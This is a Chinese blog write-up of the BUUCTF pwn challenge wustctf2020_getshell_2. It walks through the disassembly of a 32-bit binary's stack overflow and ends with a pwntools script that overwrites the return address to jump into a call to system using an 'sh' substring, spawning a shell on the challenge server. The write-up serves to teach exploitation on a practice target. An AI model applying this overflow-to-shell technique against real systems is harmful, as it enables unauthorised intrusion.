博客 / 詳情

返回

BUUCTF-wustctf2020_getshell_2

BUUCTF-wustctf2020_getshell_2

一、題目來源

BUUCTF-Pwn-wustctf2020_getshell_2

二、信息蒐集

通過 file 命令查看文件類型:

image

通過 checksec 命令查看文件採用的保護措施:

image

三、反彙編文件開始分析

main 函數中調用了 vulnerable 函數,點進去查看邏輯:

.text:08048582                                   public vulnerable
.text:08048582                                   vulnerable proc near                    ; CODE XREF: main+16↓p
.text:08048582
.text:08048582                                   buf= byte ptr -18h
.text:08048582
.text:08048582                                   ; __unwind {
.text:08048582 000 55                            push    ebp
.text:08048583 004 89 E5                         mov     ebp, esp
.text:08048585 004 83 EC 18                      sub     esp, 18h
.text:08048588 01C 83 EC 04                      sub     esp, 4
.text:0804858B 020 6A 24                         push    24h ; '$'                       ; nbytes
.text:0804858D 024 8D 45 E8                      lea     eax, [ebp+buf]
.text:08048590 024 50                            push    eax                             ; buf
.text:08048591 028 6A 00                         push    0                               ; fd
.text:08048593 02C E8 18 FE FF FF                call    _read
.text:08048593
.text:08048598 02C 83 C4 10                      add     esp, 10h
.text:0804859B 01C 90                            nop
.text:0804859C 01C C9                            leave
.text:0804859D 000 C3                            retn
.text:0804859D                                   ; } // starts at 8048582
.text:0804859D
.text:0804859D                                   vulnerable endp

不難發現,read 存在溢出的現象,但是溢出的長度並不多,除去無效 padding 部分,有效 payload 只能佔 8 字節。

我們再注意到 .text 段中存在一個名為 shell 的函數,其代碼:

.text:0804851B                                   public shell
.text:0804851B                                   shell proc near
.text:0804851B                                   ; __unwind {
.text:0804851B 000 55                            push    ebp
.text:0804851C 004 89 E5                         mov     ebp, esp
.text:0804851E 004 83 EC 08                      sub     esp, 8
.text:08048521 00C 83 EC 0C                      sub     esp, 0Ch
.text:08048524 018 68 50 86 04 08                push    offset command                  ; "/bbbbbbbbin_what_the_f?ck__--??/sh"
.text:08048529 01C E8 B2 FE FF FF                call    _system
.text:08048529
.text:0804852E 01C 83 C4 10                      add     esp, 10h
.text:08048531 00C 90                            nop
.text:08048532 00C C9                            leave
.text:08048533 000 C3                            retn
.text:08048533                                   ; } // starts at 804851B
.text:08048533
.text:08048533                                   shell endp

雖説其調用了 system 函數,但是其參數明顯是來搗亂的。

但是,我們同時可以注意到,"sh"字符處於"/bbbbbbbbin_what_the_f?ck__--??/sh"這一長串字符的末尾部分,那麼我們就可以採取“字符串劫持”的手段來提取字符"sh",若服務器端將"sh"放在環境變量中,我們依然可以實現 getshell。

.rodata:08048650 2F 62 62 62 62 62 62 62 62 69     command db '/bbbbbbbbin_what_the_f?ck__--??/sh',0

明顯,我們的字符串 b'sh\x00' 所在的位置是 0x08048670

四、Poc 構造

我們不能直接使用 system@plt 地址來構造我們的 ROP。

原因很簡單,我們的有效 ROP 只允許我們添加兩個 gadget,但是若要在 32 位CPU架構的計算機中正常調用 system 需要 3 個 gadget 即:

padding + system + fake_ret + arg1

但是,好在 shell 函數提供了新的思路給我們。

我們不一定要“自己構造 ROP 來實現函數調用”,我們可以直接用 shell 中的 call 來實現函數調用,只需要將地址定位在 0x08048529,即:

.text:08048529 01C E8 B2 FE FF FF                call    _system

從這開始運行,即CPU 默認你在棧上已經準備好了 system 所需要的參數。根據棧溢出,我們很容易實現在棧上準備好這個“參數”。

因此,最終 Poc:

from pwn import *

context(arch="i386",os="linux",log_level="debug")

# p = process("./pwn")
elf = ELF("./pwn")
p = remote("node5.buuoj.cn",25151)

padding = 0x1c
system = 0x08048529
sh = 0x08048670

payload = b'A'*padding + p32(system) + p32(sh)

p.send(payload)

p.interactive()

運行:

image

成功拿下 Flag!

user avatar peijian_6298157a6a66a 頭像 WXjzc 頭像
2 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.